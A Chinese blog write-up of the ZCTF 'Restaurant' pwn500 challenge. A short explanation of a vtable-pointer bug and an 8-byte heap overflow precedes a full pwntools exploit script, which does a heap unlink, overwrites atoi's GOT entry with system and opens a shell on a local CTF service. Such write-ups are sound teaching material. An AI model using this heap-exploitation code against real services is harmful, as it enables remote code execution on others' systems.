版权声明:本文为博主原创文章,未经博主允许不得转载。

 这道压轴的题也是名副其实,很有分量。这也是自己第二次做C++类型的PWN。含有两个漏洞,缺一不可,一个漏洞将指定位置覆盖为对象虚表的地址,另外一个漏洞用来堆溢出(DW-Shoot)。

第一个漏洞所在位置:

第二个漏洞所在位置:如果连续对一种食物编辑评论,第二次则可以8字节的溢出,覆盖下一个堆块的堆头。

由于堆块在分配时的对齐策略,堆块分配后可以使用的内存可能比申请的要大。这道题目中,主食/主菜/汤都有3个种类,只有同时能选中主食的第二种,主菜的第二种才能溢出,而这个选择是随机的,POC所以并不能每次都成功,我这个POC成功的概率为1/9,其实多试几次就能顺利拿到shell。我大概试了3-4次就拿到了shell。上图:

 from pwn import *
import time
#by wangaohui
#context.log_level = 'debug' s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('you are the luckey ')
heap = int(s.recvuntil('th guest.\n')[:-10])
print 'heapaddr is %x' %heap
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ');
vtp = 0x404710
data = 'a'*10 + '\x00' + 'a'*5 + '\x1c\x47\x40\x00'
s.sendline(data)
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!')
'''
s.recvuntil('8. Finish your order.')
s.sendline('3')
s.recvuntil('Successfully order a staple food, enjoy it!')
''' s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy') fakefd = heap + 0x20
fakebk = heap + 0x28
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6060A0)#atoi's got
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoiaddr = int(s.recvuntil('\n')[:-1])
print 'atoiaddr is: %x' % atoiaddr
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'systemaddr is: %x' % systemaddr appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()

ZCTF-Restaurant-Pwn500的更多相关文章

  1. CodeForces - 261B Maxim and Restaurant

    http://codeforces.com/problemset/problem/261/B 题目大意:给定n个数a1-an(n<=50,ai<=50),随机打乱后,记Si=a1+a2+a ...

  2. Flo's Restaurant[HDU1103]

    Flo's Restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) ...

  3. Codeforces Testing Round #12 B. Restaurant 贪心

    B. Restaurant Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/597/problem ...

  4. HDU-2368 Alfredo's Pizza Restaurant

    http://acm.hdu.edu.cn/status.php Alfredo's Pizza Restaurant Time Limit: 1000/1000 MS (Java/Others)   ...

  5. hdoj 4883 TIANKENG’s restaurant【贪心区间覆盖】

    TIANKENG’s restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 131072/65536 K (Java/O ...

  6. hdu2368Alfredo's Pizza Restaurant

    Problem Description Traditionally after the Local Contest, judges and contestants go to their favour ...

  7. HDOJ 4883 TIANKENG’s restaurant

    称号: TIANKENG's restaurant Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 131072/65536 K (Ja ...

  8. Restaurant

    Restaurant Time Limit:4000MS     Memory Limit:262144KB     64bit IO Format:%I64d & %I64u Submit  ...

  9. 九校联考_24OI——餐馆restaurant

    凉心模拟D1T1--最简单的一道题 TAT 餐馆(restaurant) 题目背景 铜企鹅是企鹅餐馆的老板,他正在计划如何使得自己本年度收益增加. 题目描述 共有n 种食材,一份食材i 需要花ti 小 ...

  10. Codeforces828 A. Restaurant Tables

    A. Restaurant Tables time limit per test 1 second memory limit per test 256 megabytes input standard ...

随机推荐

  1. MySQL重构查询的方式

    在优化有问题的查询时,目标应该是找到一个更优的方法获得实际需要的结果--而不一定总要从MySQL获取一模一样的结果集.有时候可以查询转换一种写法让其返回一样的结果,但是性能更好.但也可以通过修改应用代 ...

  2. Oracle数据库之PL/SQL程序设计简介

    PL/SQL程序设计简介 一.什么是PL/SQL? PL/SQL是 Procedure Language & Structured Query Language 的缩写. ORACLE的SQL ...

  3. centOS上安装redis

    1.安装tcl支持 yum install tcl 2.安装redis我们以最新的2.8.9为例 $ wget http://download.redis.io/releases/redis-2.8. ...

  4. C盘hosts

    # Copyright (c) - Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windo ...

  5. 不在界面上用控件 动态创建idhttp,IdAntiFreeze来用

    不在界面上用控件 动态创建idhttp,IdAntiFreeze来用 var IdHTTP: Tidhttp; IdAntiFreeze: TidAntiFreeze; begin IdAntiFre ...

  6. liunx运维面试题汇总二

    一.填空题:1. 在Linux系统中,以 文件 方式访问设备 .2. Linux内核引导时,从文件 /etc/fstab 中读取要加载的文件系统. 3. Linux文件系统中每个文件用 i节点 来标识 ...

  7. cnetos6.4 x64 阿里云环境初探--安装pip,及pymysql

    由于以前帮朋友买过阿里云服务器,一直以为,不能再体验新用户免费了,由于最近比较有心情研究python,linux,就报着侥幸的心理,重新注册一个帐号试一下,注册完之后,惊奇的发现,原来阿里只要是新注册 ...

  8. mysql 日期比较

    情景是:距离当前到期时间多少天 可以考虑当前系统时间加上某个天数后,与数据库的字段作比较 1.已知的时间>=CURDATE()+10 2.在数据的查询中,考虑到sql语句的优化问题,应减少通配符 ...

  9. build.prop各种优化代码

    1.首先要准备RE管理器以及root权限.2.在根目录里的system文件夹找到build.prop文件.3.打开build.prop文件后找到代码ro.sf.lcd_density=240(这里的2 ...

  10. RTSP,RTP,RTCP的区别

    下面的文章讲解的都非常详细,可以参考OpenRTSP的源码学习.这个是live555库里面的工具Demo http://www.360doc.com/content/12/0516/23/782850 ...